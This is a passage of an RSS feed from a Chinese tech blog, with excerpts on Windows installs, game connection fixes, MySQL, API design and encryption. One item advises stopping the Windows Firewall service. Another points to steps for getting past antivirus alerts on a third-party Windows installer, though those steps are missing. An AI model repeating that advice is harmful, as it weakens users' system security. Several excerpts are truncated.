Request，直接选择全部未分配！&#xA;四、防火墙设置&#xA;有百度大神说把防火墙关了，关你大爷，服务器这么重要关什么防火墙。假设你要用7293端口，你只要在防火墙开放这个端口即可。&#xA;首先，你的防火墙一定要能允许WCF运行：</description>
    </item>
    <item>
      <title>win10搭建无盘服务器配置,win10系统无盘安装教程</title>
      <link>https://bchobby.github.io/posts/e2dc6902933c25e37f9d622ce732c029/</link>
      <pubDate>Sat, 31 Jul 2021 03:50:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2dc6902933c25e37f9d622ce732c029/</guid>
      <description>原标题：win10系统无盘安装教程&#xA;作为全新一代的操作系统，win10系统为用户提供了为期一年的免费升级服务，不过只有win7或win8.1才可以免费升级，其他系统需要全新安装，通常我们会用光盘或U盘来安装，但是很多人都没有U盘或光盘，其实我们可以无盘安装，无需使用系统盘，下面小编跟大家介绍win10系统无盘安装教程。&#xA;win10系统无盘安装教程&#xA;1.在文件夹中，找到你下载好的win10系统，鼠标右键该系统文件，选择【装载】。&#xA;2.然后会弹出一个文件夹，我们直接鼠标双击【一键安装系统】就行了。&#xA;3.假如出现有报毒或者其它提示的情况，请执行以下步骤，如果没有，略过3-5步骤。&#xA;U盘安装win10教程：&#xA;1、下载U启动软件，然后最好是准备一个10GB的U盘进行制作。&#xA;&amp;gt;&amp;gt;&amp;gt;U启动下载地址&amp;lt;&amp;lt;&amp;lt;&#xA;2、打开U启动软件，选择自己插入的U盘，然后点击【开始制作】。&#xA;3、在给出的系统中，选择自己想要的系统，然后点击【开始制作】。&#xA;5、然后会弹出提示，注意保存备份U盘中重要数据，然后点击【确定】。&#xA;6、制作完成以后，会弹出成功提示，点击【确定】。&#xA;7、然后重启电脑，电脑开机的时候，按下【F2】或【F10】进入系统界面。选择【代表U盘的USB】选项。&#xA;ps：每种电脑主板型号不一样，进入系统界面的按键也不同&#xA;8、然后会打开U启动界面。选择第二个【系统家园 WIN8 PE 高级版(新机器)】。&#xA;9、然后选择你下载的系统进行安装，点击【安装】即可。&#xA;10、选择盘符的时候，默认选择C盘。然后点击选择【开始安装】。&#xA;11、稍作等待后，安装完成，拔出U盘，重启电脑就完成了哦。&#xA;本文来自 xtzjup.com&amp;gt;&amp;gt; 创作不易，转载请注明出处。 返回搜狐，查看更多&#xA;责任编辑：</description>
    </item>
    <item>
      <title>winxp文件共享 服务器搭建,Cute Http File Server(文件共享服务器)</title>
      <link>https://bchobby.github.io/posts/a093433ce1f1879ca4752f6522814f01/</link>
      <pubDate>Sat, 31 Jul 2021 00:39:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a093433ce1f1879ca4752f6522814f01/</guid>
      <description>Cute Http File Server提供了详细的文件共享功能，可以让您配置一个简单的HTTP协议共享方案，现在很多程序都具有FPT传输的能力，需要您安装有服务器就能建立站点的数据传输，其实可以同步共享文件的工具非常多，这里小编给大家推荐的是利用HTTP协议编辑的共享服务器，支持通过浏览器直接同步您的文件，可以将您的同步资源保持在Cute Http File Server同一个目录上，这样您就可以利用命令控制同步输出的结果了！&#xA;软件功能&#xA;本程序是命令行应用，双击即可运行，部署非常简单&#xA;跨平台运行，支持 Windows (xp sp2及其以上版本) 和 Linux 系统&#xA;只有一个可执行程序，体积小巧，无配置文件等其他文件&#xA;支持扫码下载和手机端访问，在手机或平板下载电脑上的文件非常方便&#xA;访问者只需要浏览器访问地址即可，无需额外软件，在很多场景下更实用&#xA;软件特色&#xA;Cute Http File Server支持进入浏览器配置&#xA;可以让您在浏览器IP地址上配置服务&#xA;可以将文件共享到你的手机端&#xA;也可以建立HTTP的多平台文件服务&#xA;支持脚本的方式执行，简单速度&#xA;支持在控制台上启动Cute Http File Server&#xA;支持将共享的文件放到执行程序同一文件&#xA;支持利用脚本命令来配置端口&#xA;使用方法&#xA;1、启动软件，显示chfs.exe的配置方案，您可以选择直接启动&#xA;2、软件是以脚本的方式执行，这里提示文件服务器的地址 http://192.168.1.17&#xA;3、在运行的时候，可以利用参数化的命令控制共享的数据，这里可以进入官方查看说明http://iscute.me/chfs&#xA;4、提示使用的例子，这里有中文的端口配置说明，相信专业的用户可以知道如何使用&#xA;更新日志&#xA;增加了使用系统服务启动的方式&#xA;也可以使用外部设备共享&#xA;支持设计虚拟服务器共享文件&#xA;支持通过HTTP的协议配置参数&#xA;确保您的chfs.exe一直在启动&#xA;可以对共享的IP进行测试访问</description>
    </item>
    <item>
      <title>Unity2D-自定义Y轴排序</title>
      <link>https://bchobby.github.io/posts/4e34a93ae4337e84ab88dc5cc6fb2d7b/</link>
      <pubDate>Fri, 30 Jul 2021 22:57:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e34a93ae4337e84ab88dc5cc6fb2d7b/</guid>
      <description>Unity2D-自定义Y轴排序 DNF是一款风靡已久的2D游戏，其中的图层渲染顺序是Y轴小的延迟渲染，显示在Y轴大的层级上方。Unity 默认排序是 Z轴排序 举例摄像机越近，越优先渲染在Unity 2D 的制作中，Unity内置了自动轴排功能：开启步骤： DNF是一款风靡已久的2D游戏，其中的图层渲染顺序是Y轴小的延迟渲染，显示在Y轴大的层级上方。 Unity 默认排序是 Z轴排序 举例摄像机越近，越优先渲染 在Unity 2D 的制作中，Unity内置了自动轴排功能： 开启步骤： 1： 设置自定义轴 &amp;amp;&amp;amp; 设置Y轴为1&#xA;截图：&#xA;2 加入Sorting Layer组件 图层顺序越大 则显示在最前端</description>
    </item>
    <item>
      <title>win10正在连接到服务器,win10系统提示DNF正在连接服务器的解决方法</title>
      <link>https://bchobby.github.io/posts/f21ad578b47539aa481ec0b5ce9a7d9a/</link>
      <pubDate>Fri, 30 Jul 2021 19:58:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f21ad578b47539aa481ec0b5ce9a7d9a/</guid>
      <description>很多小伙伴都遇到过win10系统提示DNF正在连接服务器的情况，想必大家都遇到过win10系统提示DNF正在连接服务器的情况吧，那么应该怎么处理win10系统提示DNF正在连接服务器呢？我们依照1、我们只要手动指定一个DNS服务器就行了。点击任务栏右下角的网络图标，然后点击‘打开网络和共享中心’。 2、打开后，点击左边的‘更改适配器设置’。这样的步骤就行了；下面小编带领大家看看win10系统提示DNF正在连接服务器的具体步骤：&#xA;具体如下：&#xA;1、我们只要手动指定一个DNS服务器就行了。点击任务栏右下角的网络图标，然后点击‘打开网络和共享中心’。&#xA;2、打开后，点击左边的‘更改适配器设置’。&#xA;3、右键本地连接，然后点击‘属性’。&#xA;4、选中ipv4，点击属性按钮。&#xA;5、在这里输入一个固定的dns地址：8.8.8.8。这样就行了，再次进入游戏吧。&#xA;win10系统提示DNF正在连接服务器的解决方法就为大家介绍到这里了。遇到类似问题的朋友们，不妨一起动手尝试看看！</description>
    </item>
    <item>
      <title>mysql的sql优化案例</title>
      <link>https://bchobby.github.io/posts/02f6a3598a82d820c78f82c0ab642e43/</link>
      <pubDate>Fri, 30 Jul 2021 19:08:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/02f6a3598a82d820c78f82c0ab642e43/</guid>
      <description>mysql分页查询优化 此处mysql表已经设置了&#xA;主键索引 PRIMARY KEY (id),&#xA;联合索引 KEY idx_name_age_position (name,age,position) USING BTREE&#xA;mysql&amp;gt; EXPLAIN select * from employees limit 90000,5;&#xA;这条sql语句会查询约10w条数据，只拿出需要的5条其他全部丢弃，没走索引，效率很低。&#xA;mysql&amp;gt; EXPLAIN select * from employees where id &amp;gt; 90000 limit 5&#xA;这条sql语句虽然走了主键索引且只查了约2w条数据，效率大大提高。但在业务逻辑上只有当主键自增且连续，且结果是按照主键排序的，这样的语句才能有用。那非主键自增且不按照主键排序的呢&#xA;mysql&amp;gt; select * from employees e inner join (select id from employees order by name limit 90000,5) ed on e.id = ed.id;&#xA;这个是先根据你需要排序的组队name排序，使用覆盖索引查出5个id，这个效率是比较高的。执行计划的type是index，key是联合索引。&#xA;然后再查询最外围的sql，这个外围的sql是走的主键索引。执行计划的type是eq_ref，key是主键索引。Extra从Using filesort 变成了Using Index。&#xA;in和exsits优化 原则：小表驱动大表，即小的数据集驱动大的数据集&#xA;in：当B表的数据集小于A表的数据集时，in优于exists&#xA;exists：当A表的数据集小于B表的数据集时，exists优于in&#xA;将主查询A的数据，放到子查询B中做条件验证，根据验证结果（true或false）来决定主查询的数据是否保留&#xA;EXISTS (subquery)只返回TRUE或FALSE,因此子查询中的SELECT * 也可以用SELECT 1替换,官方说法是实际执行时会</description>
    </item>
    <item>
      <title>Maven导包失败解决方法</title>
      <link>https://bchobby.github.io/posts/b5cdb5f14563b2dffb054cfc1869b1e5/</link>
      <pubDate>Fri, 30 Jul 2021 18:27:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5cdb5f14563b2dffb054cfc1869b1e5/</guid>
      <description>今天用Maven导包的时候报错：Could not transfer artifact com.fasterxml.jackson.core:jackson-core:pom:2.9.0 from/to nexus-aliyun&#xA;情况：pom.xml文件路径正确，刷新拉了一次包下边出现红色波浪线，因为自己是在图书馆，考虑了一下网络的问题。打开手机热点，电脑连接，删掉之前导的包，重新获取，导包成功。&#xA;查看本机是否已经有了相应的包，但是不完整，根据路径找到它，删除再重新下载。</description>
    </item>
    <item>
      <title>去除数据中的空行</title>
      <link>https://bchobby.github.io/posts/2dcfe50720c7cb25b7237e664130af12/</link>
      <pubDate>Fri, 30 Jul 2021 17:40:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2dcfe50720c7cb25b7237e664130af12/</guid>
      <description> 1.将提前取出的字符串数据按行读取，需要用到 splitlines()&#xA;2.遍历该列表，去除空字符串，需要用到 strip()，并将剩下的内容添加到一个列表中&#xA;3.连接俩表中的字符串，需要用到.join()&#xA;封装函数如下：&#xA;其中list需要先定义成空列表，text为字符串&#xA;def del_blank_line(list,text): try: text_list = text.splitlines() for line in text_list: if line == &#34;&#34;: line.strip() else: list.append(line) text = &#34;\n&#34;.join(list) return text except: pass </description>
    </item>
    <item>
      <title>绝地求生国服服务器维护中是什么意思,绝地求生服务器维护了 绝地求生服务器维护...</title>
      <link>https://bchobby.github.io/posts/4dc423d5b99516f1eedddb7c1d1bf583/</link>
      <pubDate>Fri, 30 Jul 2021 17:22:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4dc423d5b99516f1eedddb7c1d1bf583/</guid>
      <description>9月27日绝地求生服务器维护吗&#xA;方法1：打开360安全卫士，工具里，打开修复lsp，然后立即修复。&#xA;系统保留网速设置，运行的对话框，在输入文字的位置，输入命令gpedit.msc，调出组策略进行设置，选择管理模板-网络-Qos数据包计划程序，选择后在右侧的窗口选择限制可保留带宽选项，将未配置的选择更改成已启用，并将带宽限制将默认设置的20更改为0。&#xA;方法2：打开搜索运行(WIN键+R)输入services.msc找到WINDOWS FIREWALL，双击。&#xA;启动类型设置成手动，然后下面的服务状态停止掉点确认，就OK了。&#xA;绝地求生一直显示服务器为正常运行怎么办？&#xA;玩绝地求生在更新时提示连接不到更新服务器这个问题还是比较常见的，很多玩家都碰到了，出现这个问题的原因应该是这个缓存出现了问题，太多了更新不了，可以清理下这个下载缓存；清理下载缓存具体操作如下：在Steam 客户端左上角的菜单，选择“Steam”&amp;gt;“设置”，打开设置面板；在设置面板里，选择“下载”，在底端找到“清除下载缓存”按钮，然后选择“确定”；这个方法的操作过程不会影响当前已安装的游戏，但是需要在完成后重新登录Steam，所以还是建议玩家们可以先把游戏关了，再去清理缓存，然后再重要登陆打开游戏，再更新就是可以成功的了。</description>
    </item>
    <item>
      <title>前后端对接规范初版</title>
      <link>https://bchobby.github.io/posts/af128eb6e55cabf572a607c4f390fefd/</link>
      <pubDate>Fri, 30 Jul 2021 17:15:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af128eb6e55cabf572a607c4f390fefd/</guid>
      <description>写在前面 我认为且希望的工作流程。&#xA;1、收到客户新需求&#xA;2、产品经理初筛功能并完成原型以及功能点文档（原型需注明每个交互，功能点文档利于管理）&#xA;3、项目组开会，产品讲解业务逻辑和功能点，技术人员确定需求可行性&#xA;4、分配技术人员，准备开发&#xA;5、前后端对接接口返回结构，排查可能出现的问题，满足前后端代码友好，前端性能不受到影响&#xA;6、书写接口文档，注明接口中返回字段所对应的内容&#xA;7、根据接口文档拿到mock的demo数据，前端先开始开发&#xA;8、真实接口完成，前端接入真实接口&#xA;9、不断的测试、迭代，中途出现的问题放在版本管理工具中便于查看和确认&#xA;10、完成新功能迭代。&#xA;谈谈接口 随着前后端的分离,后端工程师不需要编写页面，不需要写JS,只需要提供接口即可,可是就是仅仅这一个接口，对于很多后端开发工程师而言，在实际开发，同前端对接的过程中,依然问题重重&#xA;很多后端同学说我只负责写接口,其他我一概不管,这样造成的后果就是&#xA;1、接口结构无序、杂乱无章&#xA;2、接口和实际业务场景不相匹配、不可用&#xA;3、频繁的同前端沟通，简单的事情复杂化,前后端都很恼火&#xA;4、事情没做好&#xA;后端在编写接口前,首先是对业务的理解,在对业务未理解透彻之前,编码都是无意义的,作为后端来说,需要锻炼自己对整个系统全局考虑的能力,接口之间并非是毫无关联的,我们在写第一个接口之间,其他接口之间的业务逻辑也许考虑到，这在后端团队合作开发不同功能的情况下显得尤为重要.&#xA;后端在开发接口时,我觉得主要从以下几个方面需要注意：&#xA;接口url 定义&#xA;接口类型、参数&#xA;全局错误码定义&#xA;接口json格式&#xA;接口文档编写&#xA;接口url定义 对于后端开发人员来说,接口前端入参,最终组合查询数据库资源，经过一系列相关业务场景下的计算，响应给前端json数据，每一层url的path定义需要清晰明了，这和后端在使用AOP定义事务管理同理，后端service需要满足一定的命名规范，这样方便统一管理，而且有这层规范后,后续的前后端对接会轻松很多&#xA;为了在许多API和长时间内提供一致的开发人员体验，API使用的所有名称应为：&#xA;简单&#xA;直觉&#xA;一致&#xA;这包括接口，资源，集合，方法和消息的名称。&#xA;由于许多开发人员不是英文母语人士，因此这些命名约定的目标之一是确保大多数开发人员能够轻松了解API。 它通过鼓励在命名方法和资源时使用简单，一致和小的词汇表来实现。&#xA;API中使用的名称应该是正确的美国英语。例如，许可证（而不是许可证），颜色（而不是颜色）。&#xA;可以简单地使用常用的简短形式或长字的缩写。例如，API优于应用程序编程接口。&#xA;尽可能使用直观，熟悉的术语。例如，当描述删除（和销毁）资源时，删除是优先于擦除。&#xA;对同一概念使用相同的名称或术语，包括跨API共享的概念。&#xA;避免名称重载。为不同的概念使用不同的名称。&#xA;仔细考虑使用可能与常用编程语言中的关键字冲突的名称。可以使用这些名称，但在API审查期间可能会触发额外的审查。谨慎和谨慎地使用它们。&#xA;接口类型、参数 关于接口的请求类型，目前比较常用的：GET、POST、PUT、DELETE、PATCH&#xA;GET（SELECT）：从服务器取出资源（一项或多项）。&#xA;POST（CREATE）：在服务器新建一个资源。&#xA;PUT（UPDATE）：在服务器更新资源（客户端提供改变后的完整资源）。&#xA;PATCH（UPDATE）：在服务器更新资源（客户端提供改变的属性）。&#xA;DELETE（DELETE）：从服务器删除资源。&#xA;后端可根据不同的业务场景定义不同的接口类型&#xA;在定义接口参数之时,目前我们常用的几种提交方式&#xA;表单提交，application/x-www-form-urlencoded&#xA;表单提交主要针对key-value的提交形式&#xA;如下Java片段：&#xA;1&#xA;2&#xA;3&#xA;4&#xA;5&#xA;6&#xA;7&#xA;8&#xA;9&#xA;10&#xA;11&#xA;12&#xA;@PostMapping(&#34;/queryAll&#34;)&#xA;public RestfulMessage queryAll(RuleCheckLogs ruleCheckLogs,@RequestParam(value =&#34;</description>
    </item>
    <item>
      <title>dnf正在连接服务器然后选择角色卡,地下城与勇士DNF比赛服登陆时卡在“正在连接服务器”的黑屏界面中的解决方法...</title>
      <link>https://bchobby.github.io/posts/336d9c16b59188bd9526241e6e925f92/</link>
      <pubDate>Fri, 30 Jul 2021 16:42:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/336d9c16b59188bd9526241e6e925f92/</guid>
      <description>DNF进不去游戏了，如下图：&#xA;一直卡在 正在连接服务器 黑屏状态，经过大神指点：&#xA;首先显示隐藏文件和系统文件：&#xA;我们先找到存DNF.cfg这个文件的文件夹。 路径：C盘-Users(用户)-自己的用户名(第一个文件夹)-AppData-Locallow-DNF&#xA;到这里我们打开这个DNF文件夹就可以看见里面的dnf.cfg文件 然后我们打开它(右键选择打开方式 记事本)&#xA;然后找到CONFIG_CHARACTER_LATELY_GAMESERVER_INFO= 这一条代码(如果代码有很多可以不用看下去了 把这个文件删除，重新登录一下游戏再退出来) 把这条代码=号后面的都改为CA0000000A000000D4 然后关闭保存就可以上游戏玩了。&#xA;如果没有CONFIG_CHARACTER_LATELY_GAMESERVER_INFO= 就和下图一样，在最后一行加入:&#xA;CONFIG_CHARACTER_LATELY_GAMESERVER_INFO=CA0000000A000000D4&#xA;继续浏览有关 none 的文章</description>
    </item>
    <item>
      <title>控制工程中的数学建模（9）——音圈电机的原理及数学模型</title>
      <link>https://bchobby.github.io/posts/411e95c9d9914bb84b7994e0f2467c09/</link>
      <pubDate>Fri, 30 Jul 2021 16:35:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/411e95c9d9914bb84b7994e0f2467c09/</guid>
      <description>音圈电机(Actuator，而不是Motor) 是一种直接驱动电机（直接驱动是将电机动子直接连接到负载上，实现对负载的直接驱动），是机电控制系统中的执行机构，其具有结构简单、体积小、高速、高加速、响应快等特性。音圈电机动作有直线型和摆动型两种。&#xA;音圈电机广泛应用在精密定位系统和高加速、高频激励等场合。如光学系统中透镜的定位（聚焦）；机械工具的多坐标定位平台；医学装置中精密电子管、真空管控制；在柔性机器人中，为使末端执行器快速精确定位，还可以用音圈电机来有效地抑制振动。&#xA;基本原理&#xA;同其他电机一样，音圈电机也是一个电磁力的作用过程。通电导体放在磁场中会受到安培力(F)的作用。F的大小和方向取决于磁感应强度(B)、电流(I)、导线的长度(L)以及磁场和电流的相对方向，遵循左手定则。&#xA;安培力&#xA;式中， ——导线中电流方向与磁场方向之间的夹角。磁感应强度由永磁体产生，可以近似恒定。&#xA;工作原理图&#xA;左手定则判定安培力的方向(网图)&#xA;注：&#xA;1）该示意图为直线音圈电机示意图；&#xA;2）磁场方向可以沿径向由外部指向内部，也可以由内部指向外部；&#xA;3）电流方向可以是顺时针方向也可以是逆时针方向；&#xA;4）磁场方向由永磁体决定；&#xA;5）电流方向由电源控制决定；&#xA;6）运动机构所受的力由磁场和电流共同确定，磁场方向和电流方向决定受力方向，磁场强度和电流强度决定受力大小。&#xA;音圈电机由刚性磁通回路、永磁体、运动机构以及管状线圈组成。永磁嵌入刚性磁通回路在空间中形成均匀磁场，管状线圈绕与运动机构上，当线圈通电时，运动机构受到磁场作用，在线圈和磁体之间产生沿轴线方向的力。&#xA;数学模型&#xA;电气模型：&#xA;——绕组电压。&#xA;eb ——反电动势，由线圈在磁场中切割磁感线形成。&#xA;l ——单匝线圈的周长，v ——动子的速度，n ——进入磁场线圈的匝数。&#xA;由此可见，当绕组电压为直流时，绕组电流的波形类似于弧形锯齿波。&#xA;电流-力模型：&#xA;对于线性音圈电机，安培力的大小和电流成线性关系&#xA;——力常数，单位为N/A。&#xA;带负载模型：&#xA;若音圈电机带上质量为m的负载和复位弹簧，忽略摩擦力，则组成了一个典型的弹簧-质量-电机机械位移系统。&#xA;输入为绕组电流ie ，中间变量为推力F、负载速度v，输出量为负载位移x；&#xA;弹簧压力系数为KN。&#xA;根据牛二定律&#xA;推得&#xA;拉氏变换&#xA;根据这个传递函数，我们可以通过控制音圈电机电流来控制负载的位移。</description>
    </item>
    <item>
      <title>华为储存服务器许可证,华为存储配件，华为维保服务，华为服务器</title>
      <link>https://bchobby.github.io/posts/447424d82d9251128793767f1ac93fae/</link>
      <pubDate>Fri, 30 Jul 2021 15:39:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/447424d82d9251128793767f1ac93fae/</guid>
      <description>华为存储配件，华为维保服务，华为服务器&#xA;QQ：1325132548&#xA;OceanStor S3100&#xA;1、控制器模块&#xA;02314985 STAM01S31A S3100控制框(双控,220V交流,2GB内存,4*4G FC主机接口,4*4G&#xA;FC磁盘接口)&#xA;02315197 STAM01S31D S3100控制框(双控,-48V直流,2GB内存,4*4G FC主机接口,4*4G&#xA;FC磁盘接口)&#xA;2、硬盘模块&#xA;98080184 STADU300FCN S3000,S6800 2Gb FC 300G 10KRPM 硬盘&#xA;98080186 STADU146FCH S3000,S6800 4Gb FC 146G 15KRPM 硬盘&#xA;98080253 STADU300FCH S3000,S6800 4Gb FC 300G 15KRPM 硬盘&#xA;9808G003 STADU450FCH S3000,S6800 4Gb FC 450G 15KRPM 硬盘&#xA;98080251 STADU750SAT S3000,S6800 SATA 750G&#xA;硬盘 9808G004 STADU01TSAT S3000,S6800 SATA 1000G&#xA;硬盘 98080201 STADU000CRU S3000,S6800硬盘托架&#xA;3、磁盘扩展框&#xA;02314988 STBM01D16A S3000,S6800磁盘扩展框(220V交流)-不包含硬盘&#xA;02315199 STBM01D16D S3000,S6800磁盘扩展框(-48V直流)-不包含硬盘</description>
    </item>
    <item>
      <title>开源服务器虚拟化价格,Ovirt开源软件实现服务器虚拟化方案</title>
      <link>https://bchobby.github.io/posts/ad86647b3d9fe2a165f478c396785276/</link>
      <pubDate>Fri, 30 Jul 2021 15:27:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad86647b3d9fe2a165f478c396785276/</guid>
      <description>Ovirt开源软件实现服务器虚拟化&#xA;借助成熟度高、完全开源的企业虚拟化平台,以强大的基于LINUX内核的虚拟机(KVM) 系统管理程序和开放虚拟化集中管理平台为基础，实现针对服务器和桌面虚拟化的完整虚拟化管理解决方案。&#xA;为企业提供理想资源平台，此平台以大规模的虚拟化计划和内部/ 私有云部署为基础。功能齐全的企业管理系统使客户能够集中有效地管理他仧的整个虚拟环境(如虚拟数据中心、群集、主机、客户机虚拟服务器、网络和存储器)。功能齐全、高可用性、动态态迁移、策略式工作负荷平衡、映像管理、快照和精简配置。虚拟机操作系统支持Linux 虚拟机(32 位和64 位)和Microsoft Windows 虚拟机(32 位和64 位)等。&#xA;将工作负荷从物理服务器转换至虚拟机，数据中心整合大大提高了计算机资源的利用率和灵活性且能更有效地利用能源和空间，同时降低了操作成本。在服务器硬件上节约的资金成本是您最大的收益，可将成本降低40%至75%。另外，操作有益于节省空间和能源且能改善服务器持续管理。对于新服务器硬件，由于多种工作负载(运行在虚拟机上)能更有效地利用共享物理服务器，工作事半功倍。另外，虚拟机能够比物理服务器更快的进行配置。解决方案可置入高可用性和快速恢复能力，比物理服务器更能节约成本，有利于业务连续性。通过资源调度和策略驱动式工作负荷平衡，优化了整个虚拟架构，可更有效地维护。&#xA;一、方案介绍&#xA;平台由Engine Manager 管理系统和Hypervisor 组成，以虚拟客户机支持服务器操作系统。可以实现完整的端到端的企业虚拟化解决方案，以及将高级KVM 系统管理程序和企业级管理系统相结合，并提供创纨录的高性能和可扩展性和无与伦比的整合比率及综合管理功能集，让用户可以更加方便的对系统进行管理和操作。系统采用开源平台，避免了供应商锁定其特有产品进行收费服务，在各种企业虚拟化平台中拥有成本最低，大大的降低的用户的资金投入，很好的降低了成本。&#xA;二、特性&#xA;2.1 高可靠性&#xA;在物理服务器发生硬件故障时候，运行在物理服务器上虚拟服务器将会自动迁移至新物理服务器上。&#xA;2.2 动态迁移&#xA;在维护等期间，可以在线动态将运行于物理服务器上虚拟服务器迁移至新物理服务器上，充分保证业务连续性。&#xA;2.3 系统资源调度&#xA;在某物理服务器计算资源短缺时，可以自动动态将其上运行虚拟服务器在线迁移至其他具备空闲资源的物流服务器上。&#xA;2.4 电源节能管理&#xA;可根据服务器资源使用情况，在业务空闲期间，将虚拟服务器在线迁移至集中服务器服务器上，减少运行物理服务器数量，达到经济环保效果。&#xA;2.5 虚拟桌面&#xA;借助虚拟化平台，可实现桌面虚拟化集中部署。&#xA;三、主要功能功能功能&#xA;系统管理l基于CentOS内核的裸机、高性能且安全的系统管理程序，Linux内核采用了KVM(基于内核的虚拟机)技术&#xA;l基于映像的轻量级系统管理程序，具有最小安全影响&#xA;l支持VLAN、网络连接和广泛的网络设备，包括10 GB接口&#xA;l支持CentOS的所有64位x86服务器平台(需要Intel-VT或AMD-V硬件虚拟化扩展)。&#xA;管理平台集中管理系统具有搜索驱动图形界面，支持数百台主机和数千台虚拟机。&#xA;企业管理全部功能动态迁移、策略式工作负荷平衡、高可用性、节约能源、群集维护、映像管理、模板化、精简配置、事件监视等。&#xA;业界领先的性能和可扩展性主机支持最多160个内核和2 TB RAM。虚拟机支持最多64vCPU和512 GB RAM；群集支持200台主机。&#xA;支持Windows和Linux虚拟机CentOS，32和64位；RHEL 3、4、5、6，32和64位；红帽企业桌面5和6，32和64位；Windows Server 2003、2003 R2、2008、2008 R2，32和64位；Windows XP 32位；Windows 7，32和64位，Windows 8，32和64位，等其它Linux系统。</description>
    </item>
    <item>
      <title>无法联系上证书的吊销服务器,endnote检索时不能连接到吊销服务器 该怎么连接服务器呢...</title>
      <link>https://bchobby.github.io/posts/2bcc80cd101ffe0886475e50773cbb87/</link>
      <pubDate>Fri, 30 Jul 2021 14:59:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2bcc80cd101ffe0886475e50773cbb87/</guid>
      <description>1、在左边侧边栏的 Online Search---选中 Web of Science SCI(TS) ,点菜单 Edit ---connection files -----Edit Web of Science SCI(TS)&#xA;2、然后在 connection settings 里， 就有 ServerAddress , 改成 gateway.webofknowledge.com 就OK 了。&#xA;3、webofknowledge 主页上有一个很不起眼的通知，关于改地址的，好像在 FAQ 里。下面给出一个根本的方法， 大家找到自己安装Endnote软件的安装目录， 比如说是D:\ProgramFiles\Endnote X6。&#xA;4、然后我们接下来就是通过修改“connections”文件夹里的“Web of Science SCI(TS)”文件来解决这个问题。&#xA;5、现在的文件修改日期是 2010 年的。我们双击这个文件，打开它。&#xA;6、刚开始打开时这样的画面，在左侧有第二栏有个 connection settings,点击它&#xA;7、看见没在 ServerAddress 一栏里的地址是 gateway.isiknowledge.com，但是现在已经变了，所以自然而然就会出现错误。把其中地址换成 gateway.webofknowledge.com 就可以了。大家现在用 google 检索 web of science 都是 web of knowledge，而不是 isi knowledge。&#xA;8、在 ServerAddress 中的地址换成 gateway.webofknowledge.com 后就关闭窗口。&#xA;9、把 copy 去掉，保存成 web of science SCI(TS)。保存后的文件一般都默认保存在“D:\我的文档\EndNote\Connections”中。</description>
    </item>
    <item>
      <title>qq邮箱收件服务器用户名密码,iphone6/6s&#43;设置QQ邮箱时显示用户名或密码错误的解决方法介绍...</title>
      <link>https://bchobby.github.io/posts/2d034ea34502e6a20665be10a1597959/</link>
      <pubDate>Fri, 30 Jul 2021 13:01:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d034ea34502e6a20665be10a1597959/</guid>
      <description>iOS系统，想要在设置里添加一个qq邮箱，但总是提示密码错误怎么办 ？iPhone有自带的邮箱软件，我们可以很方便地设置添加邮箱。有时输入了正确的邮箱地址和密码，却显示”无法取得邮件，用户名或密码错误“。其实，只是收件服务器的密码填错了！原因知道了，那么，我们应该如何解决呢？接下来小编就给大家详细的介绍一下苹果iPhone绑定QQ邮箱时显示用户名或密码错误的解决方法，希望对大家有所帮助！&#xA;iPhone设置QQ邮箱时显示用户名或密码错误的解决方法：&#xA;1、设置邮箱时，出现如下问题。其实，我们在iPhone客户端使用QQ邮箱时，要开启QQ邮箱的【POP3/IMAP/SMTP/Exchange/CardDAV/CalDAV服务】功能。如果没有设置，就会出现这样的问题。&#xA;授权码是QQ邮箱推出的，用于登录第三方客户端的专用密码。适用于登录以下服务：POP3/IMAP/SMTP/Exchange/CardDAV/CalDAV服务。在收件服务器中填写的应该是QQ邮箱给的授权码，而不是邮箱的密码&#xA;2、打开QQ邮箱，点【设置】—【账户】&#xA;3、在【账户】的菜单中，可以找到【POP3/IMAP/SMTP/Exchange/CardDAV/CalDAV服务】选项。点【开启】。记得按左下角的【保存更改】按钮。&#xA;4、点【生成授权码】&#xA;5、按提示发送短信，通过密保验证，点【我已发送】&#xA;6、显示授权码&#xA;7、将授权码填在密码收件服务器密码一栏，完成都既可登陆&#xA;注意事项：&#xA;注意设置QQ邮箱独立密码的时候开启 POP3/IMAP/SMTP/Exchange/CardDAV/CalDAV服务。&#xA;现在QQ邮箱需要在第三方应用输入授权码，因此收件服务器的密码应填授权码，而非邮箱密码。&#xA;文章结束，以上就是关于iphone6/6s+设置QQ邮箱时显示用户名或密码错误的解决方法介绍，如果你也遇到了同样的疑问，那就赶快按照以上方法试试吧！更多精彩，尽在脚本之家网站！&#xA;相关推荐：</description>
    </item>
    <item>
      <title>对称加密和非对称加密</title>
      <link>https://bchobby.github.io/posts/aef4630b7ac83f96ec61768fe3b39818/</link>
      <pubDate>Fri, 30 Jul 2021 11:00:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aef4630b7ac83f96ec61768fe3b39818/</guid>
      <description>对称加密和非对称加密 对称加密非对称加密数字签名CA证书 HTTP是一种不安全(嗅探、篡改)的协议 所以需要引入HTTPS（HTTP + SSL） 对称加密 加密密钥 = 解密密钥&#xA;优点：速度较快，缺点：密钥的传输和保管也是不安全的（可能会有中间人获取）&#xA;所以还是有可能使用一个不安全的密钥进行传输&#xA;非对称加密 非对称加密：加密密钥！=解密密钥&#xA;虽然速度较慢，但是不怕密钥泄露&#xA;如何保证在传输的时候，没有中间人呢？&#xA;数字签名 数字签名，数字摘要——对数据进行哈希，利用相同的数，哈希值一定相同&#xA;如果签名的值相同，那么数据大概率没被篡改过&#xA;CA证书 引入公证处，保证</description>
    </item>
    <item>
      <title>eb服务器硬盘,宇视新款存储服务器VX1648-EB上市</title>
      <link>https://bchobby.github.io/posts/179fa59af707ee9c63d720308a646e5e/</link>
